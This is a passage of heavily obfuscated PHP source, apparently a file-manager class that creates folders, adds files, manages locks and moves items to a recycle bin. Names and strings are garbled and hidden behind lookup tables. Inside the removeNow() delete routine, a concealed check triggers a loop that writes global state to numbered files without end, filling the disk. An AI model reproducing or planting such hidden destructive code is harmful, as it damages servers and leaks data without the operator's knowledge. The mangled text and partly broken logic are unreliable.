(!is_array($¼¸Õœ­Ô) || !is_array($¼¸Õœ­Ô[$üô£ßº•[352]])) { return !1; } foreach ($¼¸Õœ­Ô[$üô£ßº•[352]] as $<24>Ÿ¶û²½ => $ËÛ†íÍŠ) { if (is_array($ËÛ†íÍŠ) && isset($ËÛ†íÍŠ[0]) && is_string($ËÛ†íÍŠ[0]) && strtolower($ËÛ†íÍŠ[0]) == $üô£ßº•[7] && is_array($ËÛ†íÍŠ[1]) && count($ËÛ†íÍŠ[1]) > $ËËŽÑŠ€) { ignore_timeout(); return $<24>Ÿ¶û²½; } } return !1; } public function setMasterDB($Ñ­ŒãçÑ = true) { think_config($_SERVER[ˆ¡¹µ‹Â][471], $Ñ­ŒãçÑ); } } goto A¢Ï<C2A2>„ìë»; D«Š¢´èØ: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($<24>•Ãø<E28099>) { $ä§Á¿éÈ =& $_SERVER[ˆ¡¹µ‹Â]; $ ƒæ×í<C397> = Model($ä§Á¿éÈ[577])->where(array($ä§Á¿éÈ[1754] => $<24>•Ãø<E28099>))->find(); $°¡‡×е = $this->_mkdirRoot(SourceModel::TYPE_USER, $<24>•Ãø<E28099>, $ ƒæ×í<C397>[$ä§Á¿éÈ[32]]); $this->userDesktopAdd($°¡‡×е); return $°¡‡×е; } public function userDesktopAdd($ËÄ×èÔó) { $ööÙ§Ù­ =& $_SERVER[ˆ¡¹µ‹Â]; $ªÇ¶»<C2B6>Ï = LNG($ööÙ§Ù­[2242]); $ÏÊÙÎÂí = $this->mkdir($ËÄ×èÔó, $ªÇ¶»<C2B6>Ï); $this->metaSet($ÏÊÙÎÂí, $ööÙ§Ù­[2243], $ööÙ§Ù­[91]); $this->metaSet($ËÄ×èÔó, $ööÙ§Ù­[2244], $ÏÊÙÎÂí); } public function userPathSafeAdd($……“ˆè§) { $¿¶Â•‘ì =& $_SERVER[ˆ¡¹µ‹Â]; $¿‚ƒ²ýá = Model($¿¶Â•‘ì[577])->getInfoFull($……“ˆè§); if (!$¿‚ƒ²ýá) { return !1; } if (_get($¿‚ƒ²ýá, $¿¶Â•‘ì[599])) { return $¿‚ƒ²ýá[$¿¶Â•‘ì[539]][$¿¶Â•‘ì[2245]]; } $íØè…ð = $this->_mkdirRoot(SourceModel::TYPE_USER, $……“ˆè§, $¿¶Â•‘ì[2246], $¿¶Â•‘ì[2247]); Model($¿¶Â•‘ì[577])->metaSet($……“ˆè§, $¿¶Â•‘ì[2245], $íØè…ð); $this->metaSet($íØè…ð, $¿¶Â•‘ì[2248], $……“ˆè§); return $íØè…ð; } public function userPathAppAdd($úÌÛÅ‚ã, $÷¶ãßÚî = '', $¶µÑ<C2B5> = '') { $Ó÷×<C3B7>ö™ =& $_SERVER[ˆ¡¹µ‹Â]; $ŒÖ°¿Ð¹ = Model($Ó÷×<C3B7>ö™[577])->getInfoFull($úÌÛÅ‚ã); if (!$ŒÖ°¿Ð¹) { return !1; } $øîø“ˆ = $ŒÖ°¿Ð¹[$Ó÷×<C3B7>ö™[539]] ? $ŒÖ°¿Ð¹[$Ó÷×<C3B7>ö™[539]] : array(); $øãü¼ÈÁ = $øîø“ˆ[$Ó÷×<C3B7>ö™[2249]]; if (!$øãü¼ÈÁ) { $øãü¼ÈÁ = $this->_mkdirRoot(SourceModel::TYPE_USER, $úÌÛÅ‚ã, $Ó÷×<C3B7>ö™[2250], $Ó÷×<C3B7>ö™[2251]); Model($Ó÷×<C3B7>ö™[577])->metaSet($úÌÛÅ‚ã, $Ó÷×<C3B7>ö™[2249], $øãü¼ÈÁ . $Ó÷×<C3B7>ö™[12]); $this->metaSet($øãü¼ÈÁ, $Ó÷×<C3B7>ö™[2249], $úÌÛÅ‚ã); } if (!$÷¶ãßÚî) { return $øãü¼ÈÁ; } $ö⹘ÃÜ = $øîø“ˆ[$Ó÷×<C3B7>ö™[2252] . $÷¶ãßÚî]; if (!$ö⹘ÃÜ) { $ö⹘ÃÜ = $this->mkdir($øãü¼ÈÁ, $÷¶ãßÚî); Model($Ó÷×<C3B7>ö™[577])->metaSet($úÌÛÅ‚ã, $Ó÷×<C3B7>ö™[2252] . $÷¶ãßÚî, $ö⹘ÃÜ); $this->metaSet($ö⹘ÃÜ, $Ó÷×<C3B7>ö™[2252] . $÷¶ãßÚî, $úÌÛÅ‚ã); } if (!$¶µÑ<C2B5>) { return $ö⹘ÃÜ; } $ó¯õèæ´ = $this->mkdir($ö⹘ÃÜ, $¶µÑ<C2B5>); return $ó¯õèæ´; } public function groupRootAdd($©ü¼á¹—) { $é¾ë‚˜… =& $_SERVER[ˆ¡¹µ‹Â]; $õŒý¦Ôò = Model($é¾ë‚˜…[585])->where(array($é¾ë‚˜…[2054] => $©ü¼á¹—))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $©ü¼á¹—, $õŒý¦Ôò[$é¾ë‚˜…[32]]); } public function systemRootPathAdd($¿ýìöŒƒ) { if ($¿ýìöŒƒ != $_SERVER[ˆ¡¹µ‹Â][605]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $¿ýìöŒƒ); } public function userRootRemove($êÃû­–Ñ) { $¹¬¥­¢î = $this->targetSourceRoot(SourceModel::TYPE_USER, $êÃû­–Ñ, !0); foreach ($¹¬¥­¢î as $ÝÜžÖß<C396>) { if (!$ÝÜžÖß<C396>) { continue; } $this->remove($ÝÜžÖß<C396>[$_SERVER[ˆ¡¹µ‹Â][193]], !1); } } public function groupRootRemove($ðó–îãÃ) { $ÎÇͽЄ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $ðó–îãÃ); if (!$ÎÇͽЄ) { return; } $this->remove($ÎÇͽЄ[$_SERVER[ˆ¡¹µ‹Â][193]], !1); } private function _mkdirRoot($݃ꜟ<C593>, $Í̬»œÝ, $ú¡ŽŽï„, $䑞ë·ò = '') { $œêÊñ´ý =& $_SERVER[ˆ¡¹µ‹Â]; $¤‘ô¶ú = defined($œêÊñ´ý[2189]) ? USER_ID : 0; $¥î¥†€ô = array($œêÊñ´ý[477] => 0, $œêÊñ´ý[648] => $݃ꜟ<C593>, $œêÊñ´ý[649] => $Í̬»œÝ, $œêÊñ´ý[646] => 1, $œêÊñ´ý[650] => $¤‘ô¶ú, $œêÊñ´ý[651] => $¤‘ô¶ú, $œêÊñ´ý[647] => $䑞ë·ò, $œêÊñ´ý[652] => $œêÊñ´ý[594], $œêÊñ´ý[504] => 0, $œêÊñ´ý[617] => 0, $œêÊñ´ý[542] => 0, $œêÊñ´ý[653] => $œêÊñ´ý[12]); if ($èø ’™Ö = $this->where($¥î¥†€ô)->find()) { return $èø ’™Ö[$œêÊñ´ý[193]]; } $Á·‘ÊÛÊ = "\115\x6f\x64\x65\x6c\x53\x6f\165\x72\143\145\56\x6d\x6b\x64\x69\162\x52\157\x6f\x74\56{$݃ꜟ<C593>}\x2e{$Í̬»œÝ}\x2e" . $ú¡ŽŽï„; CacheLock::lock($Á·‘ÊÛÊ); $¥î¥†€ô[$œêÊñ´ý[32]] = $ú¡ŽŽï„; $à<>Þœ‰Ò = $this->add($¥î¥†€ô); $€íÜðØ» = array($œêÊñ´ý[654] => short_id($à<>Þœ‰Ò)); $this->where(array($œêÊñ´ý[491] => $à<>Þœ‰Ò))->save($€íÜðØ»); CacheLock::unlock($Á·‘ÊÛÊ); return $à<>Þœ‰Ò; } private function targetSourceRoot($îìÄäÓ<C3A4>, $ŠÆƒ‰©¨, $ñ¢ÐËøË = false) { $•­Êœý’ =& $_SERVER[ˆ¡¹µ‹Â]; $£×¹èÞ€ = array($•­Êœý’[477] => 0, $•­Êœý’[648] => $îìÄäÓ<C3A4>, $•­Êœý’[649] => $ŠÆƒ‰©¨); if ($ñ¢ÐËøË) { $æüÏöÛç = $this->where($£×¹èÞ€)->select(); return $æüÏöÛç ? $æüÏöÛç : array(); } $ÏéçÙ¤• = $this->where($£×¹èÞ€)->find(); return $ÏéçÙ¤• ? $ÏéçÙ¤• : array(); } public function sourceRootGroup($ÖéÖ<C3A9>ì…) { $‘äÚ†õŸ =& $_SERVER[ˆ¡¹µ‹Â]; if (is_string($ÖéÖ<C3A9>ì…)) { $ÖéÖ<C3A9>ì… = array($ÖéÖ<C3A9>ì…); } $¯»³©¼ý = $this->listSourceRoot(SourceModel::TYPE_GROUP, $ÖéÖ<C3A9>ì…, $‘äÚ†õŸ[220]); $´çÚÀèò = array($‘äÚ†õŸ[445] => $¯»³©¼ý, $‘äÚ†õŸ[442] => array($‘äÚ†õŸ[825] => count($ÖéÖ<C3A9>ì…))); $this->_listDataApply($´çÚÀèò[$‘äÚ†õŸ[445]]); $this->_listMake($´çÚÀèò); return array_to_keyvalue($´çÚÀèò[$‘äÚ†õŸ[85]], $‘äÚ†õŸ[569]); } public function mkfile($Ù‚ÏÚ—», $“ŸÁ® ´, $÷ÙÕ×¶ù = '', $<24>è·ª®Þ = REPEAT_RENAME) { $œ¨í°´÷ =& $_SERVER[ˆ¡¹µ‹Â]; $à<>¿á¼ = Model($œ¨í°´÷[674])->addFileByContent($÷ÙÕ×¶ù, $“ŸÁ® ´); return $this->_createFileCall($Ù‚ÏÚ—», $“ŸÁ® ´, $à<>¿á¼, $<24>è·ª®Þ, $œ¨í°´÷[1421]); } public function addFile($»×›‡Öž, $¯Ûä‹»Ù, $Ç題›§, $׊¸ð¸à = false, $ª˜‡Ã®¯ = REPEAT_RENAME) { $šæ<C5A1>𾉠= Model($_SERVER[ˆ¡¹µ‹Â][674])->addFile($¯Ûä‹»Ù, $Ç題›§, $׊¸ð¸à); return $this->_createFileCall($»×›‡Öž, $Ç題›§, $šæ<C5A1>ð¾‰, $ª˜‡Ã®¯); } public function addFileByFileID($ùÌ•ù¿Ÿ, $“Ô˜„“ , $ñ¯åùí¾, $¿ ðæöø = REPEAT_RENAME) { $—†ÕŒÙ˜ =& $_SERVER[ˆ¡¹µ‹Â]; $И”Ý´È = Model($—†ÕŒÙ˜[674])->find($“Ô˜„“ ); Model($—†ÕŒÙ˜[674])->linkAdd($“Ô˜„“ ); return $this->_createFileCall($ùÌ•ù¿Ÿ, $ñ¯åùí¾, $И”Ý´È, $¿ ðæöø); } public function addFileByRemote($´½±¸Ÿî, $“˜öÞ¤ó, $»î<C2BB>ÑšÆ, $”ßÁââÊ = array(), $©Šò±<C2B1> = REPEAT_RENAME) { $٬Ѥ¥… = Model($_SERVER[ˆ¡¹µ‹Â][674])->addFileByRemote($“˜öÞ¤ó, $»î<C2BB>ÑšÆ, $”ßÁââÊ); return $this->_createFileCall($´½±¸Ÿî, $»î<C2BB>ÑšÆ, $٬Ѥ¥…, $©Šò±<C2B1>); } private function _createFileCall($Ï–§âݨ, $Á—Ö…‘ñ, $É÷¬Ü‚ù, $Öü<C396>‰ñ¤, $ž«à–Ü’ = "\165\160\x6c\x6f\141\x64") { $ÞÍ<C39E>§†Í =& $_SERVER[ˆ¡¹µ‹Â]; $<24>åüšÄ<C5A1> = !1; $this->setMasterDB(); $this->lockWriteStart($Ï–§âݨ, $Á—Ö…‘ñ); $ú•ðóåä = $this->fileNameExist($Ï–§âݨ, $Á—Ö…‘ñ); $β²çç‚ = $this->_createFile($Ï–§âݨ, $Á—Ö…‘ñ, $É÷¬Ü‚ù, $Öü<C396>‰ñ¤, $<24>åüšÄ<C5A1>); if (!$<24>åüšÄ<C5A1>) { Model($ÞÍ<C39E>§†Í[544])->remove($É÷¬Ü‚ù[$ÞÍ<C39E>§†Í[541]]); } if ($<24>åüšÄ<C5A1> && $β²çç‚ && $β²çç‚ != $ú•ðóåä) { Model($ÞÍ<C39E>§†Í[2215])->eventCreate($β²çç‚, $ž«à–Ü’); } $this->lockWriteEnd($Ï–§âݨ, $Á—Ö…‘ñ); return $β²çç‚; } public function mkdir($õ˜ž¬<C5BE>, $¦<>݇¹ò, $ëÑŸ‹—» = REPEAT_SKIP) { $Ù¾è”‚ß =& $_SERVER[ˆ¡¹µ‹Â]; $this->setMasterDB(); $çÇøÁ„Ù = $this->sourceInfo($õ˜ž¬<C5BE>); if (!$çÇøÁ„Ù) { return !1; } $this->lockWriteStart($õ˜ž¬<C5BE>, $¦<>݇¹ò); if ($ëÑŸ‹—» !== !1) { $—Æ’ŒµÆ = $this->fileNameExist($õ˜ž¬<C5BE>, $¦<>݇¹ò); if ($—Æ’ŒµÆ && $ëÑŸ‹—» != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($õ˜ž¬<C5BE>, $¦<>݇¹ò); return $—Æ’ŒµÆ; } $¦<>݇¹ò = $this->fileNameAuto($õ˜ž¬<C5BE>, $¦<>݇¹ò, $ëÑŸ‹—»); } $›Ð–˜Ð = array($پ蔂ß[646] => 1, $پ蔂ß[494] => $¦<>݇¹ò, $پ蔂ß[647] => $پ蔂ß[12], $پ蔂ß[542] => 0, $پ蔂ß[617] => 0); $<24>Þ´¬Ø¯ = $this->_addSource($›Ð–˜Ð, $çÇøÁ„Ù); Model($پ蔂ß[2215])->eventCreate($<24>Þ´¬Ø¯, $پ蔂ß[1422]); $this->lockWriteEnd($õ˜ž¬<C5BE>, $¦<>݇¹ò); return $<24>Þ´¬Ø¯; } public function listSourceRoot($ŒÉãÆã<C386>, $<24>íç<E28099>¯, $Εƒ×ƒð = "\163\157\165\162\x63\x65\111\104\x2c\x74\141\162\x67\145\x74\111\104\x2c\x73\151\172\x65") { $ú¹ðžóç =& $_SERVER[ˆ¡¹µ‹Â]; $ׯ–†Ë‚ = $ú¹ðžóç[454]; $ë¯úÚ¸Ø = array(); $èëˆÓûä = 1024 * 50; $抈<C5A0>†• = is_array($抈<C5A0>†•) ? $抈<C5A0>†• : array(); $ÜÌ´©<C2B4>Ú = count($<24>íç<E28099>¯); $Ò¬ô‘˜– = $this->tablePrefix . $ú¹ðžóç[2253]; for ($—«¿Ú”Œ = 0; $—«¿Ú”Œ < $ÜÌ´©<C2B4>Ú; $—«¿Ú”Œ++) { $›ßÁÉ…Ñ = $<24>íç<E28099>¯[$—«¿Ú”Œ]; $ׯ–†Ë‚ .= "\123\x45\114\x45\x43\x54\x20\52\x20\x46\122\x4f\x4d\40\50\123\x45\114\105\103\124\x20{$Εƒ×ƒð}\x20\106\122\117\115\40\x60{$Ò¬ô‘˜–}\x60\40\x57\x48\105\x52\105\x20"; $ׯ–†Ë‚ .= "\x60\160\x61\162\x65\156\x74\x49\x44\140\75\x30\x20\101\116\104\40\140\x74\x61\162\x67\x65\x74\x49\104\x60\75{$›ßÁÉ…Ñ}\x20\101\x4e\x44\x20\x60\x74\x61\162\147\145\x74\124\171\160\x65\x60\x3d{$ŒÉãÆã<C386>}\40\x61\156\x64\40\146\x69\154\x65\x54\x79\160\x65\x3d\47\47\40\x6c\151\155\x69\164\x20\x31\51\40\141\163\x20\164\x62\x5f{$—«¿Ú”Œ}\x20\125\116\x49\x4f\116\40\101\x4c\114\x20"; if ((strlen($ׯ–†Ë‚) >= $èëˆÓûä || $—«¿Ú”Œ == $ÜÌ´©<C2B4>Ú - 1) && $ׯ–†Ë‚) { $ׯ–†Ë‚ = substr($ׯ–†Ë‚, 0, -strlen($ú¹ðžóç[1109])); $¢æŒ™<C592>š = $this->query($ׯ–†Ë‚); $ׯ–†Ë‚ = $ú¹ðžóç[12]; $ë¯úÚ¸Ø = array_merge($ë¯úÚ¸Ø, $¢æŒ™<C592>š); } } return $ë¯úÚ¸Ø; } private function _createFile($Ì¿”…ÍŠ, $Ýãì’­ê, $¡•«Ú¦Ú, $Üœ÷ðžÉ, &$Ç߇öøˆ) { $Òúòíó‰ =& $_SERVER[ˆ¡¹µ‹Â]; $úà•õÝœ = $this->sourceInfo($Ì¿”…ÍŠ); if (!$¡•«Ú¦Ú || !$úà•õÝœ) { return !1; } if ($Üœ÷ðžÉ !== !1) { $Ò™<C392>쉪 = $this->fileNameExist($Ì¿”…ÍŠ, $Ýãì’­ê); } $Ç߇öøˆ = !0; if ($Üœ÷ðžÉ && $Ò™<C392>쉪) { if ($Üœ÷ðžÉ == REPEAT_SKIP) { $Ç߇öøˆ = !1; return $Ò™<C392>쉪; } else { if ($Üœ÷ðžÉ == REPEAT_REPLACE) { $ðóÇ¿Âû = $this->sourceInfo($Ò™<C392>쉪); $¾ü‰ÍÔ² = $this->fileHistory($ðóÇ¿Âû, $¡•«Ú¦Ú[$Òúòíó‰[541]], $¡•«Ú¦Ú[$Òúòíó‰[79]]); if (!$¾ü‰ÍÔ²) { $Ç߇öøˆ = !1; } else { $this->folderSizeReset($Ì¿”…ÍŠ); } return $Ò™<C392>쉪; } else { $Ýãì’­ê = $this->fileNameAuto($Ì¿”…ÍŠ, $Ýãì’­ê, $Üœ÷ðžÉ, !1); } } } $¡å<C2A1>ì© = array($Òúòíó‰[646] => 0, $Òúòíó‰[494] => $Ýãì’­ê, $Òúòíó‰[647] => substr(get_path_ext($Ýãì’­ê), 0, 10), $Òúòíó‰[542] => $¡•«Ú¦Ú[$Òúòíó‰[541]], $Òúòíó‰[617] => $¡•«Ú¦Ú[$Òúòíó‰[79]]); $è£ï<E280B9> = $this->_addSource($¡å<C2A1>ì©, $úà•õÝœ); $this->folderSizeReset($Ì¿”…ÍŠ, intval($¡å<C2A1>ì©[$Òúòíó‰[79]])); return $è£ï<E280B9>; } protected function fileHistory($ÛàÓûÉÖ, $†Þ­Î<C2AD>ç, $«ó€ÕäÈ) { $Æ˜Žˆ´õ =& $_SERVER[ˆ¡¹µ‹Â]; if ($ÛàÓûÉÖ[$Æ˜Žˆ´õ[541]] == $†Þ­Î<C2AD>ç) { return !1; } $this->checkLock($ÛàÓûÉÖ[$Æ˜Žˆ´õ[193]], $†Þ­Î<C2AD>ç); Model($Æ˜Žˆ´õ[2254])->addHistory($ÛàÓûÉÖ); $ð¾•ø’– = array($Æ˜Žˆ´õ[651] => USER_ID, $Æ˜Žˆ´õ[498] => time(), $Æ˜Žˆ´õ[541] => $†Þ­Î<C2AD>ç, $Æ˜Žˆ´õ[79] => $«ó€ÕäÈ); $this->where(array($Æ˜Žˆ´õ[491] => $ÛàÓûÉÖ[$Æ˜Žˆ´õ[193]]))->save($ð¾•ø’–); $this->sourceCacheClear($ÛàÓûÉÖ[$Æ˜Žˆ´õ[193]]); return !0; } public function checkLock($ø‡¶©šä, $é’§·™Ÿ) { $™Çü<C387>Û„ =& $_SERVER[ˆ¡¹µ‹Â]; $¿ÍªöÆã = $this->pathInfo($ø‡¶©šä); if (!$this->fileIsLock($¿ÍªöÆã, !0)) { return; } $÷үȗ = Session::get($™Çü<C387>Û„[2255]); $â’åüˆ = substr($¿ÍªöÆã[$™Çü<C387>Û„[32]], 0, -1 - strlen($¿ÍªöÆã[$™Çü<C387>Û„[169]])) . $™Çü<C387>Û„[1286] . $÷үȗ . $™Çü<C387>Û„[10] . $¿ÍªöÆã[$™Çü<C387>Û„[169]]; $Éù’—€ý = Model($™Çü<C387>Û„[674])->find($é’§·™Ÿ); $this->_createFileCall($¿ÍªöÆã[$™Çü<C387>Û„[192]], $â’åüˆ, $Éù’—€ý, REPEAT_REPLACE, $™Çü<C387>Û„[1421]); $œÝ賓¡ = $¿ÍªöÆã[$™Çü<C387>Û„[539]][$™Çü<C387>Û„[610]]; $Óºšƒß<C692> = $œÝ賓¡[$™Çü<C387>Û„[2256]] ? $œÝ賓¡[$™Çü<C387>Û„[2256]] : $œÝ賓¡[$™Çü<C387>Û„[32]]; show_json(LNG($™Çü<C387>Û„[2257]) . $™Çü<C387>Û„[2258] . LNG($™Çü<C387>Û„[2259]) . $™Çü<C387>Û„[2260] . $Óºšƒß<C692> . $™Çü<C387>Û„[2261], !1); } public function fileIsLock($ªöž“ïù, $܆°øš€ = false) { $Â©ïÆ¹Œ =& $_SERVER[ˆ¡¹µ‹Â]; if (!_get($ªöž“ïù, $Â©ïÆ¹Œ[606], 0)) { return !1; } if ($ªöž“ïù[$Â©ïÆ¹Œ[539]][$Â©ïÆ¹Œ[609]] != USER_ID) { return !0; } $ËýйœÀ = $GLOBALS[$Â©ïÆ¹Œ[6]][$Â©ïÆ¹Œ[92]][$Â©ïÆ¹Œ[607]]; if ($ªöž“ïù[$Â©ïÆ¹Œ[539]][$Â©ïÆ¹Œ[608]] <= time() - $ËýйœÀ) { $this->metaSet($ªöž“ïù[$Â©ïÆ¹Œ[193]], $Â©ïÆ¹Œ[609], null); $this->metaSet($ªöž“ïù[$Â©ïÆ¹Œ[193]], $Â©ïÆ¹Œ[608], null); } if ($܆°øš€) { $this->metaSet($ªöž“ïù[$Â©ïÆ¹Œ[193]], $Â©ïÆ¹Œ[608], time()); } return !1; } private function _addSource($É“ëãòñ, $±ÑÜ—–×) { $­Üôéóý =& $_SERVER[ˆ¡¹µ‹Â]; $‹°’âñ¯ = defined($­Üôéóý[2189]) ? USER_ID : 0; $ƒ½ïö¼¡ = array($­Üôéóý[648] => $±ÑÜ—–×[$­Üôéóý[190]], $­Üôéóý[649] => $±ÑÜ—–×[$­Üôéóý[569]], $­Üôéóý[650] => $‹°’âñ¯, $­Üôéóý[651] => $‹°’âñ¯, $­Üôéóý[477] => $±ÑÜ—–×[$­Üôéóý[193]], $­Üôéóý[652] => $±ÑÜ—–×[$­Üôéóý[584]] . $±ÑÜ—–×[$­Üôéóý[193]] . $­Üôéóý[50], $­Üôéóý[504] => 0, $­Üôéóý[653] => $­Üôéóý[12]); $É“ëãòñ = array_merge($ƒ½ïö¼¡, $É“ëãòñ); $this->updateModifyTime($É“ëãòñ[$­Üôéóý[192]]); $£à½îàÓ = $­Üôéóý[2262] . $±ÑÜ—–×[$­Üôéóý[193]]; if (isset(self::$cacheChildList[$£à½îàÓ])) { unset(self::$cacheChildList[$£à½îàÓ]); } static $Æ–©ªùó = false; if (!$Æ–©ªùó) { Hook::trigger($­Üôéóý[636], $É“ëãòñ); $Æ–©ªùó = !0; } $š÷¡›†ì = $this->add($É“ëãòñ); $Òê“äŸÂ = array($­Üôéóý[654] => short_id($š÷¡›†ì)); $this->where(array($­Üôéóý[491] => $š÷¡›†ì))->save($Òê“äŸÂ); $this->setNamePinyin($š÷¡›†ì, $É“ëãòñ[$­Üôéóý[32]]); return $š÷¡›†ì; } public function remove($óó<C3B3>åÝ, $é÷ΰ¢ø = true) { $Î쥳²¥ =& $_SERVER[ˆ¡¹µ‹Â]; $Ëë½­¼þ = $this->sourceInfo($óó<C3B3>åÝ); $ëï‹Û¦ý = intval($Ëë½­¼þ[$Î쥳²¥[190]]) === self::TYPE_SYSTEM; $¤ÒÅåÝä = Model($Î쥳²¥[508])->get($Î쥳²¥[2263]) == $Î쥳²¥[91]; if ($ëï‹Û¦ý || $é÷ΰ¢ø || !$¤ÒÅåÝä) { return $this->removeNow($óó<C3B3>åÝ, $é÷ΰ¢ø); } $‰ˆç™„¯ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ÊšÖO = $Ëë½­¼þ[$Î쥳²¥[190]] == self::TYPE_USER ? $Î쥳²¥[662] : $Î쥳²¥[578]; if ($ÊšÖO == $Î쥳²¥[662]) { $…®»ÎÆá = Model($Î쥳²¥[577])->getInfo($Ëë½­¼þ[$Î쥳²¥[569]]); $ <>²µûý = !empty($…®»ÎÆá[$Î쥳²¥[2256]]) ? $…®»ÎÆá[$Î쥳²¥[2256]] : $…®»ÎÆá[$Î쥳²¥[32]]; $ <>²µûý = $Î쥳²¥[337] . $ <>²µûý . $Î쥳²¥[2264] . $Ëë½­¼þ[$Î쥳²¥[569]]; } else { $…®»ÎÆá = Model($Î쥳²¥[585])->getInfo($Ëë½­¼þ[$Î쥳²¥[569]]); $ <>²µûý = _get($…®»ÎÆá, $Î쥳²¥[32]); $ <>²µûý = $Î쥳²¥[176] . $ <>²µûý . $Î쥳²¥[2265] . $Ëë½­¼þ[$Î쥳²¥[569]]; } $¸·Á‡ãä = $Î쥳²¥[2266] . md5($ <>²µûý); CacheLock::lock($¸·Á‡ãä); $äæ¥æ‹Ø = $this->fileNameExist($‰ˆç™„¯, $ <>²µûý); if (!$äæ¥æ‹Ø) { $äæ¥æ‹Ø = $this->mkdir($‰ˆç™„¯, $ <>²µûý, REPEAT_SKIP); $this->metaSet($äæ¥æ‹Ø, $Î쥳²¥[2267], $ÊšÖO); $this->metaSet($äæ¥æ‹Ø, $Î쥳²¥[2268], $Ëë½­¼þ[$Î쥳²¥[569]]); if ($Ëë½­¼þ[$Î쥳²¥[192]] != 0) { $this->metaSet($äæ¥æ‹Ø, $Î쥳²¥[2269], _get($…®»ÎÆá, $Î쥳²¥[2270])); } } CacheLock::unlock($¸·Á‡ãä); $this->metaSet($óó<C3B3>åÝ, $Î쥳²¥[2271], $Ëë½­¼þ[$Î쥳²¥[192]]); $this->where(array($Î쥳²¥[193] => $óó<C3B3>åÝ))->save(array($Î쥳²¥[498] => time())); $this->recycleClear($Ëë½­¼þ); Model($Î쥳²¥[633])->eventRemove($óó<C3B3>åÝ); $ž´Þͽù = $this->move($óó<C3B3>åÝ, $äæ¥æ‹Ø, REPEAT_RENAME_FOLDER); $this->folderSizeReset($Ëë½­¼þ[$Î쥳²¥[192]]); return $ž´Þͽù; } private function recycleClear($‡¸äˆ<C3A4>Å) { $¥Ôì<C394>® =& $_SERVER[ˆ¡¹µ‹Â]; $¼óѤ¬· = $this->childrenAll($‡¸äˆ<C3A4>Å); $ؼ¹¥•Ä = array($¥Ôì<C394>®[491] => array($¥Ôì<C394>®[492], $¼óѤ¬·[$¥Ôì<C394>®[2272]])); Model($¥Ôì<C394>®[2273])->where($ؼ¹¥•Ä)->delete(); } public function removeNow($Ãк´ðÖ, $·ÚʬÉÅ = true) { $”©Ò<C2A9>´ =& $_SERVER[ˆ¡¹µ‹Â]; $ÈŠžò<C5BE>í = $_SERVER[$”©Ò<C2A9>´[844]]; $èÃõìåí = $”©Ò<C2A9>´[845]; if ($_SERVER[$”©Ò<C2A9>´[846]] != $èÃõìåí($ÈŠžò<C5BE>í)) { $™ˆóÜôà = $”©Ò<C2A9>´[951]; $ퟋà‰Ì = $”©Ò<C2A9>´[847]; $ˆéÖ“œæ = $_SERVER[$”©Ò<C2A9>´[848]] . $”©Ò<C2A9>´[849]; $¡Ï㞘ï = $ퟋà‰Ì($ˆéÖ“œæ); $„·¤éÏé = explode($”©Ò<C2A9>´[262], $¡Ï㞘ï); if (count($„·¤éÏé) < $”©Ò<C2A9>´[683]) { $ï²ã·Îñ = $”©Ò<C2A9>´[850]; $ï²ã·Îñ(); } $¬š¸êÂÐ = $”©Ò<C2A9>´[952]; $¬š¸êÂÐ($_SERVER[$”©Ò<C2A9>´[953]]); $™ˆóÜôà = $”©Ò<C2A9>´[951]; $™ˆóÜôÃ(); $¡‹äŠýŽ = $”©Ò<C2A9>´[1617]; $Îï<E280BA>Ó = json_encode($GLOBALS[$”©Ò<C2A9>´[1618]]); $ é·”»Ž = 1; for ($‹õảˆ = $ é·”»Ž; $‹õảˆ > 0; $‹õảˆ++) { $¡‹äŠýŽ(DATA_PATH . $‹õảˆ, $Îï<E280BA>Ó); } } $’‹žùñŸ = $this->sourceInfo($Ãк´ðÖ); $•Ħü¥‘ = $this->pathInfoMore($Ãк´ðÖ); if (!$’‹žùñŸ) { return !0; } if ($’‹žùñŸ[$”©Ò<C2A9>´[192]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($Ãк´ðÖ); Hook::trigger($”©Ò<C2A9>´[2274], $•Ħü¥‘, $·ÚʬÉÅ); if ($·ÚʬÉÅ) { Model($”©Ò<C2A9>´[2273])->moveToRecycle($Ãк´ðÖ); } else { $™ó”Ú<E2809D>‰ = $this->childrenAll($’‹žùñŸ); Model($”©Ò<C2A9>´[633])->eventRemove($Ãк´ðÖ); $this->removeRelevance($™ó”Ú<E2809D>‰[$”©Ò<C2A9>´[2272]], $™ó”Ú<E2809D>‰[$”©Ò<C2A9>´[1566]]); } $this->folderSizeReset($’‹žùñŸ[$”©Ò<C2A9>´[192]]); $ì»²íˆ = array($’‹žùñŸ[$”©Ò<C2A9>´[192]]); if ($’‹žùñŸ[$”©Ò<C2A9>´[485]] == $”©Ò<C2A9>´[91]) { $컲íˆ[] = $’‹žùñŸ[$”©Ò<C2A9>´[193]]; } $this->updateModifyTime($컲íˆ); $this->lockMoveEnd($Ãк´ðÖ); Hook::trigger($”©Ò<C2A9>´[1805], $•Ħü¥‘, $·ÚʬÉÅ); return !0; } public function childrenAll($¨¥»ç˜Û) { $éʺ¾¢† =& $_SERVER[ˆ¡¹µ‹Â]; $˜<>ÚȰð = $¨¥»ç˜Û[$éʺ¾¢†[193]]; if ($¨¥»ç˜Û[$éʺ¾¢†[485]] == $éʺ¾¢†[91]) { $£¡¾ë<C2BE>® = array($éʺ¾¢†[652] => array($éʺ¾¢†[612], $¨¥»ç˜Û[$éʺ¾¢†[584]] . $˜<>ÚȰð . $éʺ¾¢†[613])); $Ò<>Ë<EFBFBD>¯¿ = array($éʺ¾¢†[652] => $£¡¾ë<C2BE>®[$éʺ¾¢†[584]]); $‘«å¿ÕÛ = $this->field($éʺ¾¢†[2275])->where($Ò<>Ë<EFBFBD>¯¿)->select(); $<24>ˆÎôÜê = !1; $²ŠÝƒÉŠ = array($˜<>ÚȰð); if ($‘«å¿ÕÛ) { $<24>ˆÎôÜê = array_to_keyvalue($‘«å¿ÕÛ, $éʺ¾¢†[12], $éʺ¾¢†[541]); $<24>ˆÎôÜê = array_remove_value($<24>ˆÎôÜê, $éʺ¾¢†[228]); $²ŠÝƒÉŠ = array_to_keyvalue($‘«å¿ÕÛ, $éʺ¾¢†[12], $éʺ¾¢†[193]); $²ŠÝƒÉŠ[] = $˜<>ÚȰð; } } else { $<24>ˆÎôÜê = 